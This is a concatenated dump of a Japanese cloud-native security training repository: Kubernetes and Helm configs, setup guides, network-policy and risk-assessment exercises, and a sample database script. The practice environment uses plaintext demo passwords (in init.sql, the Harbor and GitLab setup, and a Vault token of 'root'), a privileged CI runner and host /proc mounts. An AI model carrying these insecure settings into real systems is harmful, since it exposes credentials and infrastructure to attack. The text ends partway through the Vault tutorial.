KC_HOSTNAME_STRICT 27 | value: "true" 28 | - name: KC_HTTP_ENABLED 29 | value: "true" 30 | - name: PROXY_ADDRESS_FORWARDING 31 | value: "true" 32 | - name: KC_PROXY_ADDRESS_FORWARDING 33 | value: "true" 34 | - name: KC_PROXY 35 | value: edge 36 | - name: KC_HOSTNAME_STRICT_BACKCHANNEL 37 | value: "true" 38 | - name: KC_HOSTNAME_STRICT_HTTPS 39 | value: "false" 40 | ingress: 41 | enabled: true 42 | hostname: keycloak.seccamp.com 43 | ingressClassName: nginx 44 | tls: true 45 | annotations: 46 | nginx.ingress.kubernetes.io/ssl-redirect: "true" 47 | nginx.ingress.kubernetes.io/force-ssl-redirect: "true" 48 | nginx.ingress.kubernetes.io/proxy-body-size: "0" 49 | cert-manager.io/cluster-issuer: "root-ca-issuer" 50 | nginx.ingress.kubernetes.io/configuration-snippet: | 51 | proxy_set_header X-Forwarded-Proto $scheme; 52 | extraTls: 53 | - hosts: 54 | - keycloak.seccamp.com 55 | secretName: keycloak-tls 56 | # tls: 57 | # enabled: true 58 | # existingSecret: keycloak-tls 59 | proxyHeaders: "forwarded" 60 | -------------------------------------------------------------------------------- /00_setup/k8s/kind/kind-config.yaml: -------------------------------------------------------------------------------- 1 | kind: Cluster 2 | apiVersion: kind.x-k8s.io/v1alpha4 3 | nodes: 4 | - role: control-plane 5 | kubeadmConfigPatches: 6 | - | 7 | kind: InitConfiguration 8 | nodeRegistration: 9 | kubeletExtraArgs: 10 | node-labels: "ingress-ready=true" 11 | - | 12 | kind: ClusterConfiguration 13 | apiServer: 14 | # enable auditing flags on the API server 15 | extraArgs: 16 | audit-log-path: /var/log/kubernetes/kube-apiserver-audit.log 17 | audit-policy-file: /etc/kubernetes/policies/audit-policy.yaml 18 | # mount new files / directories on the control plane 19 | extraVolumes: 20 | - name: audit-policies 21 | hostPath: /etc/kubernetes/policies 22 | mountPath: /etc/kubernetes/policies 23 | readOnly: true 24 | pathType: "DirectoryOrCreate" 25 | - name: "audit-logs" 26 | hostPath: "/var/log/kubernetes" 27 | mountPath: "/var/log/kubernetes" 28 | readOnly: false 29 | pathType: DirectoryOrCreate 30 | extraMounts: 31 | - hostPath: /proc 32 | containerPath: /procHost 33 | - hostPath: /root/kind/audit-policy.yaml 34 | containerPath: /etc/kubernetes/policies/audit-policy.yaml 35 | readOnly: true 36 | extraPortMappings: 37 | # ingress port for nginx 38 | - containerPort: 30080 39 | hostPort: 80 40 | listenAddress: "0.0.0.0" 41 | protocol: TCP 42 | - containerPort: 30443 43 | hostPort: 443 44 | listenAddress: "0.0.0.0" 45 | protocol: TCP 46 | - role: worker 47 | extraMounts: 48 | - hostPath: /proc 49 | containerPath: /procHost 50 | - role: worker 51 | extraMounts: 52 | - hostPath: /proc 53 | containerPath: /procHost 54 | networking: 55 | disableDefaultCNI: true 56 | kubeProxyMode: none 57 | -------------------------------------------------------------------------------- /04_hardening/trainings/networkpolicy.md: -------------------------------------------------------------------------------- 1 | # ネットワークポリシー 2 | 3 | ## 課題1: 基本的なNetwork Policyの実装 4 | 5 | 現在のクラスタではすべてのPod間で自由な通信が可能になっています。セキュリティを向上させるため、最小権限の原則に基づいたネットワーク制御を実装しましょう。 6 | 7 | ### ステップ 8 | 1. フロントエンドからデータベースへの直接アクセスを禁止するNetwork Policyを作成してください 9 | 2. データベースへはバックエンドからのみアクセスを許可するポリシーを設定してください 10 | 3. 外部インターネットへの不要な通信を制限してください 11 | 4. 許可されていない通信がブロックされることを確認してください 12 | 13 |
解答例: フロントエンドのNetworkPolicy 14 | 15 | ```yaml 16 | apiVersion: networking.k8s.io/v1 17 | kind: NetworkPolicy 18 | metadata: 19 | name: frontend-netpol 20 | namespace: seccamp-app 21 | spec: 22 | podSelector: 23 | matchLabels: 24 | app: frontend 25 | policyTypes: 26 | - Ingress 27 | - Egress 28 | ingress: 29 | # 外部からのHTTPアクセスを許可 30 | - from: [] 31 | ports: 32 | - protocol: TCP 33 | port: 80 34 | egress: 35 | # DNS解決を許可 36 | - to: [] 37 | ports: 38 | - protocol: UDP 39 | port: 53 40 | # バックエンドAPIへのアクセスを許可 41 | - to: 42 | - podSelector: 43 | matchLabels: 44 | app: backend 45 | ports: 46 | - protocol: TCP 47 | port: 8000 48 | ``` 49 | 50 |
51 | 52 | ## 課題2: Cilium Network Policyの活用 53 | 54 | 標準のKubernetes Network PolicyよりもCilium Network Policyは豊富な機能を提供します。 55 | 56 | ### ステップ 57 | 1. Cilium Network PolicyでL7(HTTP)レベルの通信制御を実装してください 58 | 2. APIエンドポイント単位でのアクセス制御を設定してください 59 | 60 |
ヒント: バックエンドのNetworkPolicy(作成途中) 61 | 62 | ```yaml 63 | apiVersion: "cilium.io/v2" 64 | kind: CiliumNetworkPolicy 65 | metadata: 66 | name: backend-l7-policy 67 | namespace: seccamp-app 68 | spec: 69 | endpointSelector: 70 | matchLabels: 71 | app: backend 72 | ingress: 73 | # フロントエンドからのHTTPリクエスト受信 74 | - fromEndpoints: 75 | toPorts: 76 | - ports: 77 | - port: "8000" 78 | protocol: TCP 79 | rules: 80 | http: 81 | # 受信を許可するAPIエンドポイント 82 | - method: "GET" 83 | path: "/admin/users" 84 | ``` 85 | 86 |
87 | -------------------------------------------------------------------------------- /00_setup/README.md: -------------------------------------------------------------------------------- 1 | # セットアップ手順 2 | 3 | ## 演習環境(構築済み) 4 | 5 | ```bash 6 | cd 00_setup/aws/environments/prd 7 | terraform init 8 | terraform plan 9 | terraform apply 10 | ``` 11 | 12 | 環境構築後、[こちらのセットアップ手順](./operation.md)を手動実行 13 | 14 | ## 事前準備(ローカル環境) 15 | 16 | - aws cli をインストール 17 | 18 | https://docs.aws.amazon.com/cli/latest/userguide/getting-started-install.html 19 | 20 | - ssm プラグインをインストール 21 | 22 | https://docs.aws.amazon.com/systems-manager/latest/userguide/session-manager-working-with-install-plugin.html 23 | 24 | - /etc/hosts に以下を追加 25 | 26 | ``` 27 | 127.0.0.1 nginx.seccamp.com 28 | 127.0.0.1 hubble.seccamp.com 29 | 127.0.0.1 openclarity.seccamp.com 30 | 127.0.0.1 harbor.seccamp.com 31 | 127.0.0.1 gitlab.seccamp.com 32 | 127.0.0.1 argocd.seccamp.com 33 | 127.0.0.1 app.seccamp.com 34 | 127.0.0.1 loki.seccamp.com 35 | 127.0.0.1 grafana.seccamp.com 36 | ``` 37 | 38 | ## 演習環境へのアクセス方法 39 | 40 | - EC2 インスタンスへの接続(マネジメントコンソール) 41 | 42 | EC2インスタンスの一覧から使用するインスタンスを探し、インスタンス詳細画面に遷移します。 43 | 44 | インスタンス詳細画面の右上にある「接続」をクリックします。 45 | 46 | 「セッションマネージャー」タブを選択し、「接続」をクリックすれば完了です。 47 | 48 | - EC2 インスタンスへの接続(CLI) 49 | 50 | ローカル環境のCLIを起動し、AWS の認証情報を設定します。 51 | 52 | 正しく設定できているかどうかは次のコマンドで確認できます。 53 | 54 | ```bash 55 | aws sts get-caller-identity 56 | ``` 57 | 58 | 認証情報の設定後、次のコマンドでインスタンスに接続できます。 59 | 60 | ```bash 61 | aws ssm start-session \ 62 | --target i-0000000000 \ # インスタンスIDを変更 63 | --region ap-northeast-1 64 | ``` 65 | 66 | - root ユーザーに切り替え 67 | 68 | 本演習は root ユーザーの権限で実施しますので、インスタンス接続後にユーザーを切り替えます。 69 | 70 | ```bash 71 | sudo su - 72 | ``` 73 | 74 | - ポートフォワーディング 75 | 76 | ローカル環境から EC2 上に構築したサービスにアクセスするため、演習の一部でポートフォワードが必要になります。 77 | 78 | ```bash 79 | aws ssm start-session \ 80 | --target i-0000000000 \ # インスタンスIDを変更 81 | --region ap-northeast-1 \ 82 | --document-name AWS-StartPortForwardingSession \ 83 | --parameters '{"portNumber":["443"], "localPortNumber":["8082"]}' 84 | ``` 85 | 86 | - ルート証明書の取得 87 | 88 | ```bash 89 | cat /usr/local/share/ca-certificates/extra/seccamp-ca.crt 90 | ``` 91 | 92 | ブラウザから環境にアクセスする際にエラーが発生する可能性があるため、ローカル端末へのルート証明書のインストールを推奨します。 93 | -------------------------------------------------------------------------------- /00_setup/k8s/helm/values/gitlab.values.yaml: -------------------------------------------------------------------------------- 1 | nginx-ingress: 2 | enabled: false 3 | prometheus: 4 | install: false 5 | installCertmanager: false 6 | global: 7 | kas: 8 | enabled: false 9 | hosts: 10 | domain: seccamp.com 11 | https: true 12 | ingress: 13 | annotations: 14 | nginx.ingress.kubernetes.io/connection-proxy-header: "keep-alive" 15 | nginx.ingress.kubernetes.io/ssl-redirect: "true" 16 | cert-manager.io/cluster-issuer: "root-ca-issuer" 17 | class: nginx 18 | configureCertmanager: false 19 | enabled: true 20 | path: / 21 | pathType: ImplementationSpecific 22 | tls: 23 | enabled: true 24 | secretName: gitlab-tls 25 | initialRootPassword: 26 | secret: gitlab-initial-root-password 27 | key: password 28 | minio: 29 | ingress: 30 | tls: 31 | enabled: true 32 | secretName: gitlab-minio-tls 33 | gitlab: 34 | webservice: 35 | enabled: true 36 | gitlab-shell: 37 | enabled: false 38 | registry: 39 | enabled: false 40 | gitlab-runner: 41 | install: true 42 | rbac: 43 | create: true 44 | certsSecretName: gitlab-tls 45 | runners: 46 | privileged: true 47 | locked: false 48 | secret: "nonempty" 49 | config: | 50 | [[runners]] 51 | tls-ca-file = "/home/gitlab-runner/.gitlab-runner/certs/ca.crt" 52 | environment = ["HARBOR_USER=test", "HARBOR_PASSWORD=TestUser1234"] 53 | [runners.kubernetes] 54 | image = "ubuntu:22.04" 55 | namespace = "gitlab" 56 | service_account = "gitlab-gitlab-runner" 57 | poll_timeout = 180 58 | cpu_request = "100m" 59 | memory_request = "128Mi" 60 | helper_cpu_request = "50m" 61 | helper_memory_request = "64Mi" 62 | [runners.kubernetes.node_selector] 63 | "kubernetes.io/os" = "linux" 64 | [[runners.kubernetes.volumes.secret]] 65 | name = "gitlab-tls" 66 | mount_path = "/home/gitlab-runner/.gitlab-runner/certs/" 67 | default_mode = 292 68 | [runners.kubernetes.volumes.secret.items] 69 | "ca.crt" = "ca.crt" 70 | [[runners.kubernetes.volumes.empty_dir]] 71 | name = "builds" 72 | mount_path = "/builds" 73 | podSecurityContext: 74 | seccompProfile: 75 | type: "RuntimeDefault" 76 | -------------------------------------------------------------------------------- /03_security_assessment/training.md: -------------------------------------------------------------------------------- 1 | # 演習3 セキュリティアセスメント 2 | 3 | 本演習では、無敗塾のシステムを対象にセキュリティアセスメントを実践してみます。 4 | 5 | ## 演習の目的 6 | 7 | - ルールベースとリスクベースのセキュリティアプローチを実際のシステムに適用する 8 | - システムの探索や机上での脅威分析により、セキュリティリスクを発見する 9 | - 多層防御の観点からセキュリティギャップを特定する 10 | - セキュリティ対策の費用対効果を考慮した優先順位付けを行う 11 | 12 | ## グループワーク: セキュリティリスクの発見と評価 13 | 14 | 各グループは以下のアプローチを組み合わせて、システムのセキュリティリスクを発見・評価してください。 15 | 16 | ### アプローチ1: システム探索によるリスク発見 17 | 18 | **ヒント:** 19 | - Kubernetesクラスタの設定状況を調査する 20 | - デプロイされたアプリケーションの構成を確認する 21 | - セキュリティスキャンツールを活用する 22 | - ネットワーク設定やアクセス制御を調べる 23 | 24 | **調査のきっかけとなるコマンド例:** 25 | ```bash 26 | # クラスタの基本情報確認 27 | kubectl cluster-info 28 | kubectl get nodes -o wide 29 | 30 | # デプロイされているリソースの確認 31 | kubectl get all --all-namespaces 32 | kubectl get secrets,configmaps --all-namespaces 33 | 34 | # セキュリティ関連設定の確認 35 | kubectl get networkpolicy --all-namespaces 36 | kubectl get psp,podsecuritypolicy --all-namespaces 37 | ``` 38 | 39 | ### アプローチ2: 脅威リストを活用した分析 40 | 41 | **参考資料:** 42 | - [クラウドネイティブ環境の脅威と対策](./threat_lits.md) 43 | - [無敗塾のデータフロー図](./dfd.md) 44 | 45 | **検討の観点:** 46 | - 各コンポーネント間の信頼境界はどこか? 47 | - STRIDE(なりすまし、改ざん、否認、情報漏洩、サービス拒否、権限昇格)の観点で何が起こり得るか? 48 | - 攻撃者はどのような経路でシステムに侵入できるか? 49 | 50 | ## リスク評価と優先順位付け 51 | 52 | 発見したリスクについて、以下の観点で評価・優先順位付けを行ってください。 53 | 54 | ### リスクの定量評価 55 | 56 | **影響度の評価:** 57 | - 低: 限定的な影響(一部機能停止、少量データ漏洩) 58 | - 中: 中程度の影響(サービス一時停止、ユーザーデータ漏洩) 59 | - 高: 深刻な影響(長時間停止、全データ漏洩、法的責任) 60 | 61 | **発生可能性の評価:** 62 | - 低: 高度なスキルと内部情報が必要 63 | - 中: 一般的な攻撃手法で実行可能 64 | - 高: 容易に実行可能な攻撃 65 | 66 | ### ビジネス観点での優先順位付け 67 | 68 | 以下の制約条件を考慮して、対応すべきリスクの優先順位を決定してください。 69 | 70 | - **予算制約**: 限られたセキュリティ投資予算 71 | - **開発効率**: 開発チームの生産性への影響最小化 72 | - **コンプライアンス**: 個人情報保護法等の規制要件 73 | - **サービス継続**: オンライン学習サービスの可用性確保 74 | 75 | ## 発表準備 76 | 77 | 各グループは発見したリスクと対策提案をまとめ、以下の構成で発表準備を行ってください。 78 | 79 | ### 発表構成 80 | 1. **発見した主要リスク**: システム探索・机上分析で特定した重要なセキュリティリスク(上位3つ) 81 | 2. **リスク評価と優先順位**: 影響度・発生可能性・ビジネス観点での優先度 82 | 3. **推奨対策**: 最優先で実施すべき対策とその選定理由 83 | 84 | ### 成果物例 85 | 86 | **リスク一覧表:** 87 | | リスクID | リスク内容 | 発見方法 | 影響度 | 可能性 | 優先度 | 推奨対策 | 88 | |----------|-----------|----------|--------|--------|--------|----------| 89 | | R001 | | システム探索 | 高 | 中 | 高 | | 90 | | R002 | | 脅威リスト分析 | 中 | 高 | 中 | | 91 | 92 | ### 想定される質問と回答準備 93 | 94 | **Q**: そのリスクはどのように発見したのか?
95 | **A**: システム探索の具体的手法 or 脅威分析の観点を説明 96 | 97 | **Q**: 他にも考えられる脅威はないか?
98 | **A**: 時間制約で検討できなかった脅威や、今後の課題として認識している点を説明 99 | 100 | **Q**: 対策のコストと効果をどう評価したか?
101 | **A**: 実装工数、運用負荷、リスク軽減効果の観点から説明 102 | 103 | --- 104 | 105 | ## 次のステップ 106 | 107 | 演習完了後、[4章 セキュリティ対策の導入](../04_hardening/README.md) に進みます。 108 | -------------------------------------------------------------------------------- /app/package-lock.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "app", 3 | "lockfileVersion": 3, 4 | "requires": true, 5 | "packages": { 6 | "": { 7 | "dependencies": { 8 | "react": "^19.1.0", 9 | "react-dom": "^19.1.0" 10 | }, 11 | "devDependencies": { 12 | "@types/react": "^19.1.8", 13 | "@types/react-dom": "^19.1.6" 14 | } 15 | }, 16 | "node_modules/@types/react": { 17 | "version": "19.1.8", 18 | "resolved": "https://registry.npmjs.org/@types/react/-/react-19.1.8.tgz", 19 | "integrity": "sha512-AwAfQ2Wa5bCx9WP8nZL2uMZWod7J7/JSplxbTmBQ5ms6QpqNYm672H0Vu9ZVKVngQ+ii4R/byguVEUZQyeg44g==", 20 | "dev": true, 21 | "license": "MIT", 22 | "dependencies": { 23 | "csstype": "^3.0.2" 24 | } 25 | }, 26 | "node_modules/@types/react-dom": { 27 | "version": "19.1.6", 28 | "resolved": "https://registry.npmjs.org/@types/react-dom/-/react-dom-19.1.6.tgz", 29 | "integrity": "sha512-4hOiT/dwO8Ko0gV1m/TJZYk3y0KBnY9vzDh7W+DH17b2HFSOGgdj33dhihPeuy3l0q23+4e+hoXHV6hCC4dCXw==", 30 | "dev": true, 31 | "license": "MIT", 32 | "peerDependencies": { 33 | "@types/react": "^19.0.0" 34 | } 35 | }, 36 | "node_modules/csstype": { 37 | "version": "3.1.3", 38 | "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.1.3.tgz", 39 | "integrity": "sha512-M1uQkMl8rQK/szD0LNhtqxIPLpimGm8sOBwU7lLnCpSbTyY3yeU1Vc7l4KT5zT4s/yOxHH5O7tIuuLOCnLADRw==", 40 | "dev": true, 41 | "license": "MIT" 42 | }, 43 | "node_modules/react": { 44 | "version": "19.1.0", 45 | "resolved": "https://registry.npmjs.org/react/-/react-19.1.0.tgz", 46 | "integrity": "sha512-FS+XFBNvn3GTAWq26joslQgWNoFu08F4kl0J4CgdNKADkdSGXQyTCnKteIAJy96Br6YbpEU1LSzV5dYtjMkMDg==", 47 | "license": "MIT", 48 | "engines": { 49 | "node": ">=0.10.0" 50 | } 51 | }, 52 | "node_modules/react-dom": { 53 | "version": "19.1.0", 54 | "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-19.1.0.tgz", 55 | "integrity": "sha512-Xs1hdnE+DyKgeHJeJznQmYMIBG3TKIHJJT95Q58nHLSrElKlGQqDTR2HQ9fx5CN/Gk6Vh/kupBTDLU11/nDk/g==", 56 | "license": "MIT", 57 | "dependencies": { 58 | "scheduler": "^0.26.0" 59 | }, 60 | "peerDependencies": { 61 | "react": "^19.1.0" 62 | } 63 | }, 64 | "node_modules/scheduler": { 65 | "version": "0.26.0", 66 | "resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.26.0.tgz", 67 | "integrity": "sha512-NlHwttCI/l5gCPR3D1nNXtWABUmBwvZpEQiD4IXSbIDq8BzLIK/7Ir5gTFSGZDUu37K5cMNp0hFtzO38sC7gWA==", 68 | "license": "MIT" 69 | } 70 | } 71 | } 72 | -------------------------------------------------------------------------------- /app/db/init.sql: -------------------------------------------------------------------------------- 1 | USE seccamp2025; 2 | 3 | -- MariaDB初期化用SQL 4 | -- ユーザー情報テーブル 5 | CREATE TABLE IF NOT EXISTS users ( 6 | id INT AUTO_INCREMENT PRIMARY KEY, 7 | username VARCHAR(64) UNIQUE NOT NULL, 8 | full_name VARCHAR(128), 9 | password VARCHAR(256) NOT NULL, 10 | is_admin BOOLEAN DEFAULT FALSE 11 | ); 12 | 13 | -- 学習コンテンツ情報テーブル 14 | CREATE TABLE IF NOT EXISTS courses ( 15 | id INT AUTO_INCREMENT PRIMARY KEY, 16 | title VARCHAR(128) NOT NULL, 17 | description TEXT 18 | ); 19 | 20 | -- 学習進捗テーブル(複合ユニーク制約追加) 21 | CREATE TABLE IF NOT EXISTS progress ( 22 | id INT AUTO_INCREMENT PRIMARY KEY, 23 | user_id INT NOT NULL, 24 | course_id INT NOT NULL, 25 | percent INT DEFAULT 0, 26 | updated_at DATETIME, 27 | FOREIGN KEY (user_id) REFERENCES users(id), 28 | FOREIGN KEY (course_id) REFERENCES courses(id), 29 | UNIQUE KEY user_course_unique (user_id, course_id) 30 | ); 31 | 32 | -- サンプルデータ投入用SQL 33 | -- ユーザーサンプルデータ(日本人名・自然な名前) 34 | INSERT INTO users (username, full_name, password, is_admin) VALUES 35 | ('sato', '佐藤 太郎', 'pass1', FALSE), 36 | ('suzuki', '鈴木 花子', 'pass2', FALSE), 37 | ('takahashi', '高橋 健一', 'pass3', FALSE), 38 | ('tanaka', '田中 由美', 'pass4', FALSE), 39 | ('watanabe', '渡辺 翔太', 'pass5', FALSE), 40 | ('ito', '伊藤 美咲', 'pass6', FALSE), 41 | ('yamamoto', '山本 悠斗', 'pass7', FALSE), 42 | ('nakamura', '中村 彩香', 'pass8', FALSE), 43 | ('kobayashi', '小林 直人', 'pass9', FALSE), 44 | ('kato', '加藤 恵美', 'pass10', FALSE), 45 | ('yoshida', '吉田 拓海', 'pass11', FALSE), 46 | ('yamada', '山田 沙織', 'pass12', FALSE), 47 | ('sasaki', '佐々木 亮介', 'pass13', FALSE), 48 | ('yamaguchi', '山口 真由美', 'pass14', FALSE), 49 | ('matsumoto', '松本 智也', 'pass15', FALSE), 50 | ('inoue', '井上 千尋', 'pass16', FALSE), 51 | ('kimura', '木村 大輔', 'pass17', FALSE), 52 | ('hayashi', '林 美和', 'pass18', FALSE), 53 | ('shimizu', '清水 和也', 'pass19', FALSE), 54 | ('saito', '斎藤 香織', 'pass20', FALSE), 55 | ('admin', '管理者', 'adminpass', TRUE); 56 | 57 | -- コースサンプルデータ 58 | INSERT INTO courses (title, description) VALUES 59 | ('Python入門', 'Pythonの基礎を学ぶコース'), 60 | ('Kubernetes基礎', 'Kubernetesの基本を学ぶコース'), 61 | ('Go言語入門', 'Go言語の基礎を学ぶコース'), 62 | ('React入門', 'Reactの基礎を学ぶコース'), 63 | ('セキュリティ基礎', 'セキュリティの基本を学ぶコース'), 64 | ('Linux入門', 'Linuxの基礎を学ぶコース'), 65 | ('クラウド基礎', 'クラウド技術の基礎を学ぶコース'), 66 | ('ネットワーク基礎', 'ネットワークの基本を学ぶコース'), 67 | ('Docker入門', 'Dockerの基礎を学ぶコース'), 68 | ('CI/CD入門', 'CI/CDの基礎を学ぶコース'); 69 | 70 | -- 学習進捗サンプルデータ 71 | INSERT INTO progress (user_id, course_id, percent, updated_at) VALUES 72 | (1, 1, 50, NOW()), 73 | (1, 2, 0, NOW()), 74 | (1, 3, 100, NOW()), 75 | (2, 1, 80, NOW()), 76 | (2, 2, 20, NOW()), 77 | (2, 3, 0, NOW()), 78 | (3, 1, 0, NOW()), 79 | (3, 2, 0, NOW()), 80 | (3, 3, 0, NOW()), 81 | (4, 1, 100, NOW()), 82 | (4, 2, 100, NOW()), 83 | (4, 3, 100, NOW()), 84 | (5, 1, 10, NOW()), 85 | (5, 2, 30, NOW()), 86 | (5, 3, 60, NOW()); 87 | -------------------------------------------------------------------------------- /01_scenario/training.md: -------------------------------------------------------------------------------- 1 | # 演習1 環境の把握 2 | 3 | - [演習1 環境の把握](#演習1-環境の把握) 4 | - [1 環境への接続確認](#1-環境への接続確認) 5 | - [1.1 Kubernetesクラスタ接続確認](#11-kubernetesクラスタ接続確認) 6 | - [1.2 無敗塾アプリケーション動作確認](#12-無敗塾アプリケーション動作確認) 7 | - [1.3 利用可能なツール確認](#13-利用可能なツール確認) 8 | - [2 利用可能なツールの探索](#2-利用可能なツールの探索) 9 | - [2.1 監視・ログ系ツール](#21-監視ログ系ツール) 10 | - [2.2 セキュリティ系ツール](#22-セキュリティ系ツール) 11 | - [2.3 CI/CD・開発系ツール](#23-cicd開発系ツール) 12 | - [次のステップ](#次のステップ) 13 | 14 | この演習では、無敗塾の現在の環境を探索し、アプリケーションやOSSツールの構成を把握します。 15 | 16 | ## 1 環境への接続確認 17 | 18 | ### 1.1 Kubernetesクラスタ接続確認 19 | 20 | まずは基本的な接続確認を行いましょう。 21 | 22 | ```bash 23 | # クラスタ情報確認 24 | kubectl version 25 | kubectl cluster-info 26 | 27 | # namespace確認 28 | kubectl get namespaces 29 | 30 | # 現在の権限確認 31 | kubectl auth whoami 32 | kubectl auth can-i get pods --namespace=seccamp-app 33 | ``` 34 | 35 | ### 1.2 無敗塾アプリケーション動作確認 36 | 37 | 無敗塾のアプリケーションが実際に動いているかチェックしてみましょう。 38 | 39 | ```bash 40 | # アプリケーション用namespaceの状態確認 41 | kubectl get all -n seccamp-app 42 | kubectl get services -n seccamp-app 43 | kubectl get ingress -n seccamp-app 44 | ``` 45 | 46 | Webアプリケーションへのアクセス 47 | 48 | https://app.seccamp.com:8082 49 | 50 | ### 1.3 利用可能なツール確認 51 | 52 | どんなツールが用意されているか確認してみましょう。 53 | 54 | ```bash 55 | # 全namespaceのPod確認 56 | kubectl get pods -A 57 | 58 | # 主要なnamespace 59 | kubectl get namespaces 60 | 61 | # 監視系ツール 62 | kubectl get pods -n monitoring 63 | 64 | # セキュリティ系ツール 65 | kubectl get pods -n kube-system | grep tetragon 66 | kubectl get pods -n openclarity 67 | 68 | # CI/CD・開発系ツール 69 | kubectl get pods -n gitlab 70 | kubectl get pods -n harbor 71 | kubectl get pods -n argocd 72 | ``` 73 | 74 | **確認ポイント**: 75 | - [ ] Kubernetesクラスタにアクセスできる 76 | - [ ] 無敗塾アプリケーションが動作している 77 | - [ ] 利用可能なツール群を把握できた 78 | 79 | ## 2 利用可能なツールの探索 80 | 81 | ### 2.1 監視・ログ系ツール 82 | 83 | 実際に環境で動作している監視・ログツールを確認してみましょう。 84 | 85 | ```bash 86 | # Grafana(ダッシュボード) 87 | kubectl get pods -n monitoring | grep grafana 88 | 89 | # Loki(ログ収集) 90 | kubectl get pods -n monitoring | grep loki 91 | 92 | # Kubernetes Events Exporter 93 | kubectl get pods -n monitoring | grep events-exporter 94 | 95 | # Metrics Server 96 | kubectl get pods -n kube-system | grep metrics-server 97 | 98 | # Hubble(ネットワーク可視化) 99 | kubectl get pods -n kube-system | grep hubble 100 | ``` 101 | 102 | ### 2.2 セキュリティ系ツール 103 | 104 | セキュリティ関連のツールを探してみましょう。 105 | 106 | ```bash 107 | # Tetragon(ランタイムセキュリティ・eBPF) 108 | kubectl get pods -n kube-system | grep tetragon 109 | 110 | # OpenClarity(セキュリティスキャン) 111 | kubectl get pods -n openclarity 112 | 113 | # Cilium(ネットワークセキュリティ・eBPF) 114 | kubectl get pods -n kube-system | grep cilium 115 | ``` 116 | 117 | ### 2.3 CI/CD・開発系ツール 118 | 119 | 開発・デプロイに関連するツールを確認してみましょう。 120 | 121 | ```bash 122 | # GitLab(ソースコード管理・CI/CD) 123 | kubectl get pods -n gitlab 124 | 125 | # Harbor(コンテナレジストリ) 126 | kubectl get pods -n harbor 127 | 128 | # ArgoCD(GitOps) 129 | kubectl get pods -n argocd 130 | ``` 131 | 132 | **確認ポイント**: 133 | 134 | - [ ] どんなツールが動いているか(監視、セキュリティ、CI/CDなど) 135 | - [ ] 無敗塾アプリケーションの構成 136 | - [ ] その他、設定や構成で気になったこと 137 | 138 | --- 139 | 140 | ## 次のステップ 141 | 142 | 演習完了後、[2章 クラウドネイティブセキュリティの基礎](../02_cloud_native_sec/README.md) に進みます。 143 | -------------------------------------------------------------------------------- /00_setup/operation.md: -------------------------------------------------------------------------------- 1 | # 環境構築後セットアップ 2 | 3 | ## 証明書のインストール(自動化済) 4 | 5 | ```bash 6 | mkdir /usr/local/share/ca-certificates/extra 7 | kubectl view-secret -n cert-manager root-ca-secret ca.crt > /usr/local/share/ca-certificates/extra/seccamp-ca.crt 8 | update-ca-certificates 9 | ``` 10 | 11 | ## Harbor 12 | 13 | ### 管理者でログイン 14 | 15 | - username: admin 16 | - password: harboradminpassword 17 | 18 | ### ユーザー作成 19 | 20 | - username: test 21 | - password: TestUser1234 22 | - email: test@test.com 23 | 24 | ![](images/harbor/new_user.png) 25 | 26 | ### プロジェクト作成 27 | 28 | - project_name: seccamp2025 29 | 30 | ![](images/harbor/new_project.png) 31 | 32 | ### プロジェクトにユーザー追加 33 | 34 | - Name: test 35 | - Role: Developer 36 | 37 | ![](images/harbor/add_user_to_project.png) 38 | 39 | ### ImagePullSecrets 作成(自動化済) 40 | 41 | ```bash 42 | kubectl create secret docker-registry harbor-cred \ 43 | --namespace seccamp-app \ 44 | --docker-server=harbor.seccamp.com \ 45 | --docker-username=test \ 46 | --docker-password=TestUser1234 \ 47 | --docker-email=test@test.com 48 | ``` 49 | 50 | ## Gitlab 51 | 52 | ### 管理者でログイン 53 | 54 | - username: root 55 | - password: 以下で取得 56 | 57 | ```bash 58 | kubectl view-secret -n gitlab gitlab-initial-root-password 59 | ``` 60 | 61 | ### グループ作成 62 | 63 | - Group name: seccamp2025 64 | 65 | ![](images/gitlab/create_group.png) 66 | 67 | ### プロジェクト作成 68 | 69 | seccamp2025 グループにアプリ用のプロジェクトを作成 70 | 71 | - フロントエンド 72 | - Project name: frontend 73 | - バックエンド 74 | - Project name: backend 75 | - インフラ 76 | - Project name: infra 77 | 78 | ![](images/gitlab/projects.png) 79 | 80 | ### Auto DevOps 無効化 81 | 82 | - Admin コンソールの \[Settings] - \[CI/CD] に移動 83 | - \[Continuous Integration and Deployment] - \[Default to Auto DevOps pipeline for all projects] のチェックを外す 84 | - Save changes で保存 85 | 86 | ![](images/gitlab/turn_off_auto_devops.png) 87 | 88 | ### ソースコード追加 89 | 90 | ```bash 91 | # git clone from github 92 | cd /root 93 | git clone https://github.com/kyohmizu/seccamp2025-B4.git 94 | 95 | # git clone from gitlab 96 | cd /root/gitlab 97 | git clone https://gitlab.seccamp.com/seccamp2025/backend.git 98 | git clone https://gitlab.seccamp.com/seccamp2025/frontend.git 99 | git clone https://gitlab.seccamp.com/seccamp2025/infra.git 100 | 101 | # copy code from github to gitlab 102 | cp -r /root/seccamp2025-B4/app/backend/* /root/gitlab/backend/ 103 | cp -r /root/seccamp2025-B4/app/backend/.[!.]* /root/gitlab/backend/ 104 | 105 | cp -r /root/seccamp2025-B4/app/frontend/* /root/gitlab/frontend/ 106 | cp -r /root/seccamp2025-B4/app/frontend/.[!.]* /root/gitlab/frontend/ 107 | 108 | cp -r /root/seccamp2025-B4/app/infra/* /root/gitlab/infra/ 109 | 110 | # commit & push 111 | cd /root/gitlab/backend 112 | git add . 113 | git commit -m "Import from GitHub" 114 | git push 115 | 116 | cd /root/gitlab/frontend 117 | git add . 118 | git commit -m "Import from GitHub" 119 | git push 120 | 121 | cd /root/gitlab/infra 122 | git add . 123 | git commit -m "Import from GitHub" 124 | git push 125 | ``` 126 | 127 | ### タグの付与 128 | 129 | - Projects 130 | - seccamp2025/backend 131 | - seccamp2025/frontend 132 | - Tag name: v1.0 133 | 134 | ![](images/gitlab/new_tag.png) 135 | 136 | ## Application 137 | 138 | ### デプロイ 139 | 140 | ```bash 141 | kubectl apply -f /root/gitlab/infra/manifests/ 142 | ``` 143 | -------------------------------------------------------------------------------- /00_setup/vault_eso_tutorial.md: -------------------------------------------------------------------------------- 1 | # Vault初期化とExternal Secrets設定例 2 | 3 | ## 1. Vaultへのアクセス確認 4 | ```bash 5 | # Vault CLIでの接続確認 6 | export VAULT_ADDR='https://vault.seccamp.com' 7 | export VAULT_TOKEN="root" 8 | vault status 9 | ``` 10 | 11 | ## 